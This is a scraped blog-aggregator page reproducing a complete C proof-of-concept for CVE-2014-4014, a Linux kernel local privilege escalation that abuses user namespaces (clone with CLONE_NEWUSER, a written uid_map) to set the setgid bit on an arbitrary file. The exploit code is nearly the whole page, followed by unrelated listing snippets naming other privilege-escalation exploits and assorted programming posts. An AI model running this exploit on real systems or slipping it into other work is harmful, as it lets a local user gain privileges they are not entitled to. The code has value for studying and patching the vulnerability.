CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC
/**
* CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC
*
* Vitaly Nikolenko
* http://hashcrack.org
*
* Usage: ./poc [file_path]
*
* where file_path is the file on which you want to set the sgid bit
*/
#define _GNU_SOURCE
#include <sys/wait.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <limits.h>
#include <string.h>
#include <assert.h>
#define STACK_SIZE (1024 * 1024)
static
char
child_stack[STACK_SIZE];
struct
args {
int
pipe_fd[2];
char
*file_path;
};
static
int
child(
void
*arg) {
struct
args *f_args = (
struct
args *)arg;
char
c;
// close stdout
close(f_args->pipe_fd[1]);
assert
(read(f_args->pipe_fd[0], &c, 1) == 0);
// set the setgid bit
chmod(f_args->file_path, S_ISGID|S_IRUSR|S_IWUSR|S_IRGRP|S_IXGRP|S_IXUSR);
return
0;
}
int
main(
int
argc,
char
*argv[]) {
int
fd;
pid_t pid;
char
mapping[1024];
char
map_file[PATH_MAX];
struct
args f_args;
assert
(argc == 2);
f_args.file_path = argv[1];
// create a pipe for synching the child and parent
assert
(pipe(f_args.pipe_fd) != -1);
pid = clone(child, child_stack + STACK_SIZE, CLONE_NEWUSER | SIGCHLD, &f_args);
assert
(pid != -1);
// get the current uid outside the namespace
snprintf(mapping, 1024,
"0 %d 1\n"
, getuid());
// update uid and gid maps in the child
snprintf(map_file, PATH_MAX,
"/proc/%ld/uid_map"
, (
long
) pid);
fd = open(map_file, O_RDWR);
assert
(fd != -1);
assert
(write(fd, mapping,
strlen
(mapping)) ==
strlen
(mapping));
close(f_args.pipe_fd[1]);
assert
(waitpid(pid, NULL, 0) != -1);
}
CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC的更多相关文章
- karottc A Simple linux-virus Analysis、Linux Kernel <= 2.6.37 - Local Privilege Escalation、CVE-2010-4258、CVE-2010-3849、CVE-2010-3850
catalog . 程序功能概述 . 感染文件 . 前置知识 . 获取ROOT权限: Linux Kernel <= - Local Privilege Escalation 1. 程序功能概述 ...
- Linux Kernel 'MSR' Driver Local Privilege Escalation
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负! // PoC exploit for /dev/cpu/*/msr, 32bit userland on a 64bit hos ...
- [转]Mac OS X local privilege escalation (IOBluetoothFamily)
Source: http://joystick.artificialstudios.org/2014/10/mac-os-x-local-privilege-escalation.html Nowad ...
- [EXP]Microsoft Windows 10 (Build 17134) - Local Privilege Escalation (UAC Bypass)
#include "stdafx.h" #include <Windows.h> #include "resource.h" void DropRe ...
- MS14-068 privilege escalation PoC: 可以让任何域内用户提升为域管理员
https://github.com/bidord/pykek ms14-068.py Exploits MS14-680 vulnerability on an un-patched domain ...
- OSCP Learning Notes - Privilege Escalation
Privilege Escalation Download the Basic-pentesting vitualmation from the following website: https:// ...
- ANALYSIS AND EXPLOITATION OF A LINUX KERNEL VULNERABILITY (CVE-2016-0728)
ANALYSIS AND EXPLOITATION OF A LINUX KERNEL VULNERABILITY (CVE-2016-0728) By Perception Point Resear ...
- Linux Kernel KVM 'apic_get_tmcct()'函数拒绝服务漏洞
漏洞版本: Linux Kernel 漏洞描述: Bugtraq ID:64270 CVE ID:CVE-2013-6367 Linux Kernel是一款开源的操作系统. Linux KVM LAP ...
- Linux Kernel本地权限提升漏洞
漏洞版本: Linux Kernel 漏洞描述: Bugtraq ID:64291 CVE ID:CVE-2013-6368 Linux Kernel是一款开源的操作系统. 如果用户空间提供的vapi ...
随机推荐
- js中跳出forEach循环
缘由:近期在项目中使用lodash.js中的_.foreach方法处理数据,需要在满足条件时结束循环并不执行后面的js代码. 因为foreach中默认没有break方法.在尝试中使用了return f ...
- 本地主机访问远程linux系统服务器上的jupyter notebook
1,机器情况:服务器 centos python环境已经配置好了,在虚拟环境下安装了anaconda 并且在里面安装了jupyter notebook 2,主机是 windows ipytho ...
- 继承和构造函数语法造成的一个bug
一 出错误的代码 开发环境: visual studio 2017 社区版 #include "pch.h" #include <iostream> #include ...
- BitMap位图
BitMap位图算法https://blog.csdn.net/varyall/article/details/79662029 常见面试题 题1:在2.5亿个整数找出不重复的整数,内存不足以容纳着2 ...
- Java数组重修,猜数小游戏改进和打印正三角形
数组重修,猜数小游戏 要求:从键盘输入一个数,判断数组是否包含此数,运用随机数 我们可能会这样写 import java.util.Random; import java.util.Scanner; ...
- Java缓冲流写出数据实例
public class BufferedWriterDemo throws IOException { public static void main(String[] args) throws I ...
- SQLite和MySQL数据库的差别与应用
简单来说,SQLITE功能简约.小型化,追求最大磁盘效率:MYSQL功能全面,综合化.追求最大并发效率.假设仅仅是单机上用的,数据量不是非常大.须要方便移植或者须要频繁读/写磁盘文件的话.就用SQLi ...
- web选择文件夹上传
我们平时经常做的是上传文件,上传文件夹与上传文件类似,但也有一些不同之处,这次做了上传文件夹就记录下以备后用. 这次项目的需求: 支持大文件的上传和续传,要求续传支持所有浏览器,包括ie6,ie7,i ...
- 【Java】SpringBoot的bean懒加载@Lazy注解
注解说明 @Lazy:一般情况下,Spring容器在启动时会创建所有的Bean对象,使用@Lazy注解可以将Bean对象的创建延迟到第一次使用Bean的时候. 引用 在类上加入@Lazy或者@Lazy ...
- CSS入门基础学习二
我们下午继续学习CSS的入门基础,搬上你的小板凳赶快进入吧! 一.背景(background) Background-color:背景颜色 background-image (背景图片) backgr ...